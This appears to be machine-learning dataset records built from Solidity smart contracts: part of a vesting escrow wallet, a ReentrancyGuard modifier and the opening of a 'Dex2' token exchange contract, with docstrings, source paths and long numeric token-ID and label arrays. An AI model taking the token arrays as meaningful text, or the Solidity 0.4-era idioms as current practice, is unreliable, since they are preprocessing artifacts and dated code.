_modifySchedule(_beneficiary, _templateName, _startTime); } function _modifySchedule(address _beneficiary, bytes32 _templateName, uint256 _startTime) internal { _checkSchedule(_beneficiary, _templateName); require(_startTime > now, "Date in the past"); uint256 index = userToTemplateIndex[_beneficiary][_templateName]; Schedule storage schedule = schedules[_beneficiary][index]; /*solium-disable-next-line security/no-block-members*/ require(now < schedule.startTime, "Schedule started"); schedule.startTime = _startTime; emit ModifySchedule(_beneficiary, _templateName, _startTime); } /** * @notice Revokes vesting schedule with given template name for given beneficiary * @param _beneficiary Address of the beneficiary for whom it is revoked * @param _templateName Name of the template was used for schedule creation */ function revokeSchedule(address _beneficiary, bytes32 _templateName) external withPerm(ADMIN) { _checkSchedule(_beneficiary, _templateName); uint256 index = userToTemplateIndex[_beneficiary][_templateName]; _sendTokensPerSchedule(_beneficiary, index); uint256 releasedTokens = _getReleasedTokens(_beneficiary, index); unassignedTokens = unassignedTokens.add(templates[_templateName].numberOfTokens.sub(releasedTokens)); _deleteUserToTemplates(_beneficiary, _templateName); _deleteTemplateToUsers(_beneficiary, _templateName); emit RevokeSchedule(_beneficiary, _templateName); } function _deleteUserToTemplates(address _beneficiary, bytes32 _templateName) internal { uint256 index = userToTemplateIndex[_beneficiary][_templateName]; Schedule[] storage userSchedules = schedules[_beneficiary]; if (index != userSchedules.length - 1) { userSchedules[index] = userSchedules[userSchedules.length - 1]; userToTemplates[_beneficiary][index] = userToTemplates[_beneficiary][userToTemplates[_beneficiary].length - 1]; userToTemplateIndex[_beneficiary][userSchedules[index].templateName] = index; } userSchedules.length--; userToTemplates[_beneficiary].length--; delete userToTemplateIndex[_beneficiary][_templateName]; } function _deleteTemplateToUsers(address _beneficiary, bytes32 _templateName) internal { uint256 templateIndex = templateToUserIndex[_templateName][_beneficiary]; if (templateIndex != templateToUsers[_templateName].length - 1) { templateToUsers[_templateName][templateIndex] = templateToUsers[_templateName][templateToUsers[_templateName].length - 1]; templateToUserIndex[_templateName][templateToUsers[_templateName][templateIndex]] = templateIndex; } templateToUsers[_templateName].length--; delete templateToUserIndex[_templateName][_beneficiary]; } /** * @notice Revokes all vesting schedules for given beneficiary's address * @param _beneficiary Address of the beneficiary for whom all schedules will be revoked */ function revokeAllSchedules(address _beneficiary) public withPerm(ADMIN) { _revokeAllSchedules(_beneficiary); } function _revokeAllSchedules(address _beneficiary) internal { require(_beneficiary != address(0), "Invalid address"); _sendTokens(_beneficiary); Schedule[] storage userSchedules = schedules[_beneficiary]; for (uint256 i = 0; i < userSchedules.length; i++) { uint256 releasedTokens = _getReleasedTokens(_beneficiary, i); Template memory template = templates[userSchedules[i].templateName]; unassignedTokens = unassignedTokens.add(template.numberOfTokens.sub(releasedTokens)); delete userToTemplateIndex[_beneficiary][userSchedules[i].templateName]; _deleteTemplateToUsers(_beneficiary, userSchedules[i].templateName); } delete schedules[_beneficiary]; delete userToTemplates[_beneficiary]; emit RevokeAllSchedules(_beneficiary); } /** * @notice Returns beneficiary's schedule created using template name * @param _beneficiary Address of the beneficiary who will receive tokens * @param _templateName Name of the template was used for schedule creation * @return beneficiary's schedule data (numberOfTokens, duration, frequency, startTime, claimedTokens, State) */ function getSchedule(address _beneficiary, bytes32 _templateName) external view returns(uint256, uint256, uint256, uint256, uint256, State) { _checkSchedule(_beneficiary, _templateName); uint256 index = userToTemplateIndex[_beneficiary][_templateName]; Schedule memory schedule = schedules[_beneficiary][index]; return ( templates[schedule.templateName].numberOfTokens, templates[schedule.templateName].duration, templates[schedule.templateName].frequency, schedule.startTime, schedule.claimedTokens, _getScheduleState(_beneficiary, _templateName) ); } function _getScheduleState(address _beneficiary, bytes32 _templateName) internal view returns(State) { _checkSchedule(_beneficiary, _templateName); uint256 index = userToTemplateIndex[_beneficiary][_templateName]; Schedule memory schedule = schedules[_beneficiary][index]; if (now < schedule.startTime) { return State.CREATED; } else if (now > schedule.startTime && now < schedule.startTime.add(templates[_templateName].duration)) { return State.STARTED; } else { return State.COMPLETED; } } /** * @notice Returns list of the template names for given beneficiary's address * @param _beneficiary Address of the beneficiary * @return List of the template names that were used for schedule creation */ function getTemplateNames(address _beneficiary) external view returns(bytes32[] memory) { require(_beneficiary != address(0), "Invalid address"); return userToTemplates[_beneficiary]; } /** * @notice Returns count of the schedules were created for given beneficiary * @param _beneficiary Address of the beneficiary * @return Count of beneficiary's schedules */ function getScheduleCount(address _beneficiary) external view returns(uint256) { require(_beneficiary != address(0), "Invalid address"); return schedules[_beneficiary].length; } function _getAvailableTokens(address _beneficiary, uint256 _index) internal view returns(uint256) { Schedule memory schedule = schedules[_beneficiary][_index]; uint256 releasedTokens = _getReleasedTokens(_beneficiary, _index); return releasedTokens.sub(schedule.claimedTokens); } function _getReleasedTokens(address _beneficiary, uint256 _index) internal view returns(uint256) { Schedule memory schedule = schedules[_beneficiary][_index]; Template memory template = templates[schedule.templateName]; /*solium-disable-next-line security/no-block-members*/ if (now > schedule.startTime) { uint256 periodCount = template.duration.div(template.frequency); /*solium-disable-next-line security/no-block-members*/ uint256 periodNumber = (now.sub(schedule.startTime)).div(template.frequency); if (periodNumber > periodCount) { periodNumber = periodCount; } return template.numberOfTokens.mul(periodNumber).div(periodCount); } else { return 0; } } /** * @notice Used to bulk send available tokens for each of the beneficiaries * @param _fromIndex Start index of array of beneficiary's addresses * @param _toIndex End index of array of beneficiary's addresses */ function pushAvailableTokensMulti(uint256 _fromIndex, uint256 _toIndex) public withPerm(OPERATOR) { require(_toIndex < beneficiaries.length, "Array out of bound"); for (uint256 i = _fromIndex; i <= _toIndex; i++) { if (schedules[beneficiaries[i]].length !=0) pushAvailableTokens(beneficiaries[i]); } } /** * @notice Used to bulk add vesting schedules for each of beneficiary * @param _beneficiaries Array of the beneficiary's addresses * @param _templateNames Array of the template names * @param _numberOfTokens Array of number of tokens should be assigned to schedules * @param _durations Array of the vesting duration * @param _frequencies Array of the vesting frequency * @param _startTimes Array of the vesting start time */ function addScheduleMulti( address[] memory _beneficiaries, bytes32[] memory _templateNames, uint256[] memory _numberOfTokens, uint256[] memory _durations, uint256[] memory _frequencies, uint256[] memory _startTimes ) public withPerm(ADMIN) { require( _beneficiaries.length == _templateNames.length && /*solium-disable-line operator-whitespace*/ _beneficiaries.length == _numberOfTokens.length && /*solium-disable-line operator-whitespace*/ _beneficiaries.length == _durations.length && /*solium-disable-line operator-whitespace*/ _beneficiaries.length == _frequencies.length && /*solium-disable-line operator-whitespace*/ _beneficiaries.length == _startTimes.length, "Arrays sizes mismatch" ); for (uint256 i = 0; i < _beneficiaries.length; i++) { _addSchedule(_beneficiaries[i], _templateNames[i], _numberOfTokens[i], _durations[i], _frequencies[i], _startTimes[i]); } } /** * @notice Used to bulk add vesting schedules from template for each of the beneficiary * @param _beneficiaries Array of beneficiary's addresses * @param _templateNames Array of the template names were used for schedule creation * @param _startTimes Array of the vesting start time */ function addScheduleFromTemplateMulti( address[] memory _beneficiaries, bytes32[] memory _templateNames, uint256[] memory _startTimes ) public withPerm(ADMIN) { require(_beneficiaries.length == _templateNames.length && _beneficiaries.length == _startTimes.length, "Arrays sizes mismatch"); for (uint256 i = 0; i < _beneficiaries.length; i++) { _addScheduleFromTemplate(_beneficiaries[i], _templateNames[i], _startTimes[i]); } } /** * @notice Used to bulk revoke vesting schedules for each of the beneficiaries * @param _beneficiaries Array of the beneficiary's addresses */ function revokeSchedulesMulti(address[] memory _beneficiaries) public withPerm(ADMIN) { for (uint256 i = 0; i < _beneficiaries.length; i++) { _revokeAllSchedules(_beneficiaries[i]); } } /** * @notice Used to bulk modify vesting schedules for each of the beneficiaries * @param _beneficiaries Array of the beneficiary's addresses * @param _templateNames Array of the template names * @param _startTimes Array of the vesting start time */ function modifyScheduleMulti( address[] memory _beneficiaries, bytes32[] memory _templateNames, uint256[] memory _startTimes ) public withPerm(ADMIN) { require( _beneficiaries.length == _templateNames.length && /*solium-disable-line operator-whitespace*/ _beneficiaries.length == _startTimes.length, "Arrays sizes mismatch" ); for (uint256 i = 0; i < _beneficiaries.length; i++) { _modifySchedule(_beneficiaries[i], _templateNames[i], _startTimes[i]); } } function _checkSchedule(address _beneficiary, bytes32 _templateName) internal view { require(_beneficiary != address(0), "Invalid address"); uint256 index = userToTemplateIndex[_beneficiary][_templateName]; require( index < schedules[_beneficiary].length && schedules[_beneficiary][index].templateName == _templateName, "Schedule not found" ); } function _isTemplateExists(bytes32 _name) internal view returns(bool) { return templates[_name].numberOfTokens > 0; } function _validateTemplate(uint256 _numberOfTokens, uint256 _duration, uint256 _frequency) internal view { require(_numberOfTokens > 0, "Zero amount"); require(_duration % _frequency == 0, "Invalid frequency"); uint256 periodCount = _duration.div(_frequency); require(_numberOfTokens % periodCount == 0); uint256 amountPerPeriod = _numberOfTokens.div(periodCount); require(amountPerPeriod % securityToken.granularity() == 0, "Invalid granularity"); } function _sendTokens(address _beneficiary) internal { for (uint256 i = 0; i < schedules[_beneficiary].length; i++) { _sendTokensPerSchedule(_beneficiary, i); } } function _sendTokensPerSchedule(address _beneficiary, uint256 _index) internal { uint256 amount = _getAvailableTokens(_beneficiary, _index); if (amount > 0) { schedules[_beneficiary][_index].claimedTokens = schedules[_beneficiary][_index].claimedTokens.add(amount); require(securityToken.transfer(_beneficiary, amount), "Transfer failed"); emit SendTokens(_beneficiary, amount); } } /** * @notice Return the permissions flag that are associated with VestingEscrowWallet */ function getPermissions() public view returns(bytes32[] memory) { bytes32[] memory allPermissions = new bytes32[](2); allPermissions[0] = ADMIN; allPermissions[1] = OPERATOR; return allPermissions; } }
* @notice Returns beneficiary's schedule created using template name @param _beneficiary Address of the beneficiary who will receive tokens @param _templateName Name of the template was used for schedule creation @return beneficiary's schedule data (numberOfTokens, duration, frequency, startTime, claimedTokens, State)/
function getSchedule(address _beneficiary, bytes32 _templateName) external view returns(uint256, uint256, uint256, uint256, uint256, State) { _checkSchedule(_beneficiary, _templateName); uint256 index = userToTemplateIndex[_beneficiary][_templateName]; Schedule memory schedule = schedules[_beneficiary][index]; return ( templates[schedule.templateName].numberOfTokens, templates[schedule.templateName].duration, templates[schedule.templateName].frequency, schedule.startTime, schedule.claimedTokens, _getScheduleState(_beneficiary, _templateName) ); }
1,805,493
[ 1, 1356, 27641, 74, 14463, 814, 1807, 4788, 2522, 1450, 1542, 508, 225, 389, 70, 4009, 74, 14463, 814, 5267, 434, 326, 27641, 74, 14463, 814, 10354, 903, 6798, 2430, 225, 389, 3202, 461, 1770, 434, 326, 1542, 1703, 1399, 364, 4788, 6710, 327, 27641, 74, 14463, 814, 1807, 4788, 501, 261, 2696, 951, 5157, 16, 3734, 16, 8670, 16, 8657, 16, 7516, 329, 5157, 16, 3287, 13176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 30879, 12, 2867, 389, 70, 4009, 74, 14463, 814, 16, 1731, 1578, 389, 3202, 461, 13, 3903, 1476, 1135, 12, 11890, 5034, 16, 2254, 5034, 16, 2254, 5034, 16, 2254, 5034, 16, 2254, 5034, 16, 3287, 13, 288, 203, 3639, 389, 1893, 6061, 24899, 70, 4009, 74, 14463, 814, 16, 389, 3202, 461, 1769, 203, 3639, 2254, 5034, 770, 273, 729, 774, 2283, 1016, 63, 67, 70, 4009, 74, 14463, 814, 6362, 67, 3202, 461, 15533, 203, 3639, 10674, 3778, 4788, 273, 26720, 63, 67, 70, 4009, 74, 14463, 814, 6362, 1615, 15533, 203, 3639, 327, 261, 203, 5411, 5539, 63, 10676, 18, 3202, 461, 8009, 2696, 951, 5157, 16, 203, 5411, 5539, 63, 10676, 18, 3202, 461, 8009, 8760, 16, 203, 5411, 5539, 63, 10676, 18, 3202, 461, 8009, 14092, 16, 203, 5411, 4788, 18, 1937, 950, 16, 203, 5411, 4788, 18, 14784, 329, 5157, 16, 203, 5411, 389, 588, 6061, 1119, 24899, 70, 4009, 74, 14463, 814, 16, 389, 3202, 461, 13, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/97/0xa0486CA1166eA9847Cb4f5658937236c1d578500/sources/LoanToken.sol
* @title Helps contracts guard against reentrancy attacks. @author Remco Bloemen <remco@2π.com>, Eenae <[email protected]> @dev If you mark a function `nonReentrant`, you should also mark it `external`./
contract ReentrancyGuard { uint256 internal constant REENTRANCY_GUARD_FREE = 1; uint256 internal constant REENTRANCY_GUARD_LOCKED = 2; uint256 internal reentrancyLock = REENTRANCY_GUARD_FREE; modifier nonReentrant() { require(reentrancyLock == REENTRANCY_GUARD_FREE, "nonReentrant"); reentrancyLock = REENTRANCY_GUARD_LOCKED; _; reentrancyLock = REENTRANCY_GUARD_FREE; } }
11,466,422
[ 1, 44, 292, 1121, 20092, 11026, 5314, 283, 8230, 12514, 28444, 18, 225, 2663, 2894, 605, 383, 351, 275, 411, 2764, 2894, 36, 22, 144, 227, 18, 832, 20401, 512, 275, 8906, 411, 287, 338, 402, 36, 14860, 3890, 18, 1594, 34, 225, 971, 1846, 2267, 279, 445, 1375, 5836, 426, 8230, 970, 9191, 1846, 1410, 2546, 2267, 518, 1375, 9375, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 868, 8230, 12514, 16709, 288, 203, 203, 565, 2254, 5034, 2713, 5381, 2438, 2222, 54, 1258, 16068, 67, 30673, 8085, 67, 28104, 273, 404, 31, 203, 203, 565, 2254, 5034, 2713, 5381, 2438, 2222, 54, 1258, 16068, 67, 30673, 8085, 67, 6589, 2056, 273, 576, 31, 203, 203, 565, 2254, 5034, 2713, 283, 8230, 12514, 2531, 273, 2438, 2222, 54, 1258, 16068, 67, 30673, 8085, 67, 28104, 31, 203, 203, 203, 203, 565, 9606, 1661, 426, 8230, 970, 1435, 288, 203, 3639, 2583, 12, 2842, 313, 12514, 2531, 422, 2438, 2222, 54, 1258, 16068, 67, 30673, 8085, 67, 28104, 16, 315, 5836, 426, 8230, 970, 8863, 203, 3639, 283, 8230, 12514, 2531, 273, 2438, 2222, 54, 1258, 16068, 67, 30673, 8085, 67, 6589, 2056, 31, 203, 3639, 389, 31, 203, 3639, 283, 8230, 12514, 2531, 273, 2438, 2222, 54, 1258, 16068, 67, 30673, 8085, 67, 28104, 31, 203, 565, 289, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.21; pragma experimental "v0.5.0"; interface Token { function totalSupply() external returns (uint256); function balanceOf(address) external returns (uint256); function transfer(address, uint256) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); function approve(address, uint256) external returns (bool); function allowance(address, address) external returns (uint256); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Dex2 { //------------------------------ Struct Definitions: --------------------------------------------- struct TokenInfo { string symbol; // e.g., "ETH", "ADX" address tokenAddr; // ERC20 token address uint64 scaleFactor; // <original token amount> = <scaleFactor> x <DEx amountE8> / 1e8 uint minDeposit; // mininum deposit (original token amount) allowed for this token } struct TraderInfo { address withdrawAddr; uint8 feeRebatePercent; // range: [0, 100] } struct TokenAccount { uint64 balanceE8; // available amount for trading uint64 pendingWithdrawE8; // the amount to be transferred out from this contract to the trader } struct Order { uint32 pairId; // <cashId>(16) <stockId>(16) uint8 action; // 0 means BUY; 1 means SELL uint8 ioc; // 0 means a regular order; 1 means an immediate-or-cancel (IOC) order uint64 priceE8; uint64 amountE8; uint64 expireTimeSec; } struct Deposit { address traderAddr; uint16 tokenCode; uint64 pendingAmountE8; // amount to be confirmed for trading purpose } struct DealInfo { uint16 stockCode; // stock token code uint16 cashCode; // cash token code uint64 stockDealAmountE8; uint64 cashDealAmountE8; } struct ExeStatus { uint64 logicTimeSec; // logic timestamp for checking order expiration uint64 lastOperationIndex; // index of the last executed operation } //----------------- Constants: ------------------------------------------------------------------- uint constant MAX_UINT256 = 2**256 - 1; uint16 constant MAX_FEE_RATE_E4 = 60; // the upper limit of a fee rate is 0.6% // <original ETH amount in Wei> = <DEx amountE8> * <ETH_SCALE_FACTOR> / 1e8 uint64 constant ETH_SCALE_FACTOR = 10**18; uint8 constant ACTIVE = 0; uint8 constant CLOSED = 2; bytes32 constant HASHTYPES = keccak256('string title', 'address market_address', 'uint64 nonce', 'uint64 expire_time_sec', 'uint64 amount_e8', 'uint64 price_e8', 'uint8 immediate_or_cancel', 'uint8 action', 'uint16 cash_token_code', 'uint16 stock_token_code'); //----------------- States that cannot be changed once set: -------------------------------------- address public admin; // admin address, and it cannot be changed mapping (uint16 => TokenInfo) public tokens; // mapping of token code to token information //----------------- Other states: ---------------------------------------------------------------- uint8 public marketStatus; // market status: 0 - Active; 1 - Suspended; 2 - Closed uint16 public makerFeeRateE4; // maker fee rate (* 10**4) uint16 public takerFeeRateE4; // taker fee rate (* 10**4) uint16 public withdrawFeeRateE4; // withdraw fee rate (* 10**4) uint64 public lastDepositIndex; // index of the last deposit operation ExeStatus public exeStatus; // status of operation execution mapping (address => TraderInfo) public traders; // mapping of trade address to trader information mapping (uint176 => TokenAccount) public accounts; // mapping of trader token key to its account information mapping (uint224 => Order) public orders; // mapping of order key to order information mapping (uint64 => Deposit) public deposits; // mapping of deposit index to deposit information //------------------------------ Dex2 Events: ---------------------------------------------------- event DeployMarketEvent(); event ChangeMarketStatusEvent(uint8 status); event SetTokenInfoEvent(uint16 tokenCode, string symbol, address tokenAddr, uint64 scaleFactor, uint minDeposit); event SetWithdrawAddrEvent(address trader, address withdrawAddr); event DepositEvent(address trader, uint16 tokenCode, string symbol, uint64 amountE8, uint64 depositIndex); event WithdrawEvent(address trader, uint16 tokenCode, string symbol, uint64 amountE8, uint64 lastOpIndex); event TransferFeeEvent(uint16 tokenCode, uint64 amountE8, address toAddr); // `balanceE8` is the total balance after this deposit confirmation event ConfirmDepositEvent(address trader, uint16 tokenCode, uint64 balanceE8); // `amountE8` is the post-fee initiated withdraw amount // `pendingWithdrawE8` is the total pending withdraw amount after this withdraw initiation event InitiateWithdrawEvent(address trader, uint16 tokenCode, uint64 amountE8, uint64 pendingWithdrawE8); event MatchOrdersEvent(address trader1, uint64 nonce1, address trader2, uint64 nonce2); event HardCancelOrderEvent(address trader, uint64 nonce); event SetFeeRatesEvent(uint16 makerFeeRateE4, uint16 takerFeeRateE4, uint16 withdrawFeeRateE4); event SetFeeRebatePercentEvent(address trader, uint8 feeRebatePercent); //------------------------------ Contract Initialization: ---------------------------------------- function Dex2(address admin_) public { admin = admin_; setTokenInfo(0 /*tokenCode*/, "ETH", 0 /*tokenAddr*/, ETH_SCALE_FACTOR, 0 /*minDeposit*/); emit DeployMarketEvent(); } //------------------------------ External Functions: --------------------------------------------- function() external { revert(); } // Change the market status of DEX. function changeMarketStatus(uint8 status_) external { if (msg.sender != admin) revert(); if (marketStatus == CLOSED) revert(); // closed is forever marketStatus = status_; emit ChangeMarketStatusEvent(status_); } function setWithdrawAddr(address withdrawAddr) external { if (withdrawAddr == 0) revert(); if (traders[msg.sender].withdrawAddr != 0) revert(); // cannot change withdrawAddr once set traders[msg.sender].withdrawAddr = withdrawAddr; emit SetWithdrawAddrEvent(msg.sender, withdrawAddr); } // Deposits ETH from msg.sender for the given trader. function depositEth(address traderAddr) external payable { if (marketStatus != ACTIVE) revert(); if (traderAddr == 0) revert(); if (msg.value < tokens[0].minDeposit) revert(); if (msg.data.length != 4 + 32) revert(); // length condition of param count uint64 pendingAmountE8 = uint64(msg.value / (ETH_SCALE_FACTOR / 10**8)); // msg.value is in Wei if (pendingAmountE8 == 0) revert(); uint64 depositIndex = ++lastDepositIndex; setDeposits(depositIndex, traderAddr, 0, pendingAmountE8); emit DepositEvent(traderAddr, 0, "ETH", pendingAmountE8, depositIndex); } // Deposits token (other than ETH) from msg.sender for a specified trader. // // After this deposit has been confirmed enough times on the blockchain, it will be added to // the trader's token account for trading. function depositToken(address traderAddr, uint16 tokenCode, uint originalAmount) external { if (marketStatus != ACTIVE) revert(); if (traderAddr == 0) revert(); if (tokenCode == 0) revert(); // this function does not handle ETH if (msg.data.length != 4 + 32 + 32 + 32) revert(); // length condition of param count TokenInfo memory tokenInfo = tokens[tokenCode]; if (originalAmount < tokenInfo.minDeposit) revert(); if (tokenInfo.scaleFactor == 0) revert(); // unsupported token // Remember to call Token(address).approve(this, amount) from msg.sender in advance. if (!Token(tokenInfo.tokenAddr).transferFrom(msg.sender, this, originalAmount)) revert(); if (originalAmount > MAX_UINT256 / 10**8) revert(); // avoid overflow uint amountE8 = originalAmount * 10**8 / uint(tokenInfo.scaleFactor); if (amountE8 >= 2**64 || amountE8 == 0) revert(); uint64 depositIndex = ++lastDepositIndex; setDeposits(depositIndex, traderAddr, tokenCode, uint64(amountE8)); emit DepositEvent(traderAddr, tokenCode, tokens[tokenCode].symbol, uint64(amountE8), depositIndex); } // Withdraw ETH from the contract. function withdrawEth(address traderAddr) external { if (traderAddr == 0) revert(); if (msg.data.length != 4 + 32) revert(); // length condition of param count uint176 accountKey = uint176(traderAddr); uint amountE8 = accounts[accountKey].pendingWithdrawE8; if (amountE8 == 0) return; // Write back to storage before making the transfer. accounts[accountKey].pendingWithdrawE8 = 0; uint truncatedWei = amountE8 * (ETH_SCALE_FACTOR / 10**8); address withdrawAddr = traders[traderAddr].withdrawAddr; if (withdrawAddr == 0) withdrawAddr = traderAddr; withdrawAddr.transfer(truncatedWei); emit WithdrawEvent(traderAddr, 0, "ETH", uint64(amountE8), exeStatus.lastOperationIndex); } // Withdraw token (other than ETH) from the contract. function withdrawToken(address traderAddr, uint16 tokenCode) external { if (traderAddr == 0) revert(); if (tokenCode == 0) revert(); // this function does not handle ETH if (msg.data.length != 4 + 32 + 32) revert(); // length condition of param count TokenInfo memory tokenInfo = tokens[tokenCode]; if (tokenInfo.scaleFactor == 0) revert(); // unsupported token uint176 accountKey = uint176(tokenCode) << 160 | uint176(traderAddr); uint amountE8 = accounts[accountKey].pendingWithdrawE8; if (amountE8 == 0) return; // Write back to storage before making the transfer. accounts[accountKey].pendingWithdrawE8 = 0; uint truncatedAmount = amountE8 * uint(tokenInfo.scaleFactor) / 10**8; address withdrawAddr = traders[traderAddr].withdrawAddr; if (withdrawAddr == 0) withdrawAddr = traderAddr; if (!Token(tokenInfo.tokenAddr).transfer(withdrawAddr, truncatedAmount)) revert(); emit WithdrawEvent(traderAddr, tokenCode, tokens[tokenCode].symbol, uint64(amountE8), exeStatus.lastOperationIndex); } function transferFee(uint16 tokenCode, uint64 amountE8, address toAddr) external { if (msg.sender != admin) revert(); if (toAddr == 0) revert(); if (msg.data.length != 4 + 32 + 32 + 32) revert(); TokenAccount memory feeAccount = accounts[uint176(tokenCode) << 160]; uint64 withdrawE8 = feeAccount.pendingWithdrawE8; if (amountE8 < withdrawE8) { withdrawE8 = amountE8; } feeAccount.pendingWithdrawE8 -= withdrawE8; accounts[uint176(tokenCode) << 160] = feeAccount; TokenInfo memory tokenInfo = tokens[tokenCode]; uint originalAmount = uint(withdrawE8) * uint(tokenInfo.scaleFactor) / 10**8; if (tokenCode == 0) { // ETH toAddr.transfer(originalAmount); } else { if (!Token(tokenInfo.tokenAddr).transfer(toAddr, originalAmount)) revert(); } emit TransferFeeEvent(tokenCode, withdrawE8, toAddr); } function exeSequence(uint header, uint[] body) external { if (msg.sender != admin) revert(); uint64 nextOperationIndex = uint64(header); if (nextOperationIndex != exeStatus.lastOperationIndex + 1) revert(); // check index uint64 newLogicTimeSec = uint64(header >> 64); if (newLogicTimeSec < exeStatus.logicTimeSec) revert(); for (uint i = 0; i < body.length; nextOperationIndex++) { uint bits = body[i]; uint opcode = bits & 0xFFFF; bits >>= 16; if ((opcode >> 8) != 0xDE) revert(); // check the magic number // ConfirmDeposit: <depositIndex>(64) if (opcode == 0xDE01) { confirmDeposit(uint64(bits)); i += 1; continue; } // InitiateWithdraw: <amountE8>(64) <tokenCode>(16) <traderAddr>(160) if (opcode == 0xDE02) { initiateWithdraw(uint176(bits), uint64(bits >> 176)); i += 1; continue; } //-------- The rest operation types are allowed only when the market is active --------- if (marketStatus != ACTIVE) revert(); // MatchOrders if (opcode == 0xDE03) { uint8 v1 = uint8(bits); bits >>= 8; // bits is now the key of the maker order Order memory makerOrder; if (v1 == 0) { // the order is already in storage if (i + 1 >= body.length) revert(); // at least 1 body element left makerOrder = orders[uint224(bits)]; i += 1; } else { if (orders[uint224(bits)].pairId != 0) revert(); // the order must not be already in storage if (i + 4 >= body.length) revert(); // at least 4 body elements left makerOrder = parseNewOrder(uint224(bits) /*makerOrderKey*/, v1, body, i); i += 4; } uint8 v2 = uint8(body[i]); uint224 takerOrderKey = uint224(body[i] >> 8); Order memory takerOrder; if (v2 == 0) { // the order is already in storage takerOrder = orders[takerOrderKey]; i += 1; } else { if (orders[takerOrderKey].pairId != 0) revert(); // the order must not be already in storage if (i + 3 >= body.length) revert(); // at least 3 body elements left takerOrder = parseNewOrder(takerOrderKey, v2, body, i); i += 4; } matchOrder(uint224(bits) /*makerOrderKey*/, makerOrder, takerOrderKey, takerOrder); continue; } // HardCancelOrder: <nonce>(64) <traderAddr>(160) if (opcode == 0xDE04) { hardCancelOrder(uint224(bits) /*orderKey*/); i += 1; continue; } // SetFeeRates: <withdrawFeeRateE4>(16) <takerFeeRateE4>(16) <makerFeeRateE4>(16) if (opcode == 0xDE05) { setFeeRates(uint16(bits), uint16(bits >> 16), uint16(bits >> 32)); i += 1; continue; } // SetFeeRebatePercent: <rebatePercent>(8) <traderAddr>(160) if (opcode == 0xDE06) { setFeeRebatePercent(address(bits) /*traderAddr*/, uint8(bits >> 160) /*rebatePercent*/); i += 1; continue; } } // for loop setExeStatus(newLogicTimeSec, nextOperationIndex - 1); } // function exeSequence //------------------------------ Public Functions: ----------------------------------------------- // Set token information. function setTokenInfo(uint16 tokenCode, string symbol, address tokenAddr, uint64 scaleFactor, uint minDeposit) public { if (msg.sender != admin) revert(); if (marketStatus != ACTIVE) revert(); if (scaleFactor == 0) revert(); TokenInfo memory info = tokens[tokenCode]; if (info.scaleFactor != 0) { // this token already exists // For an existing token 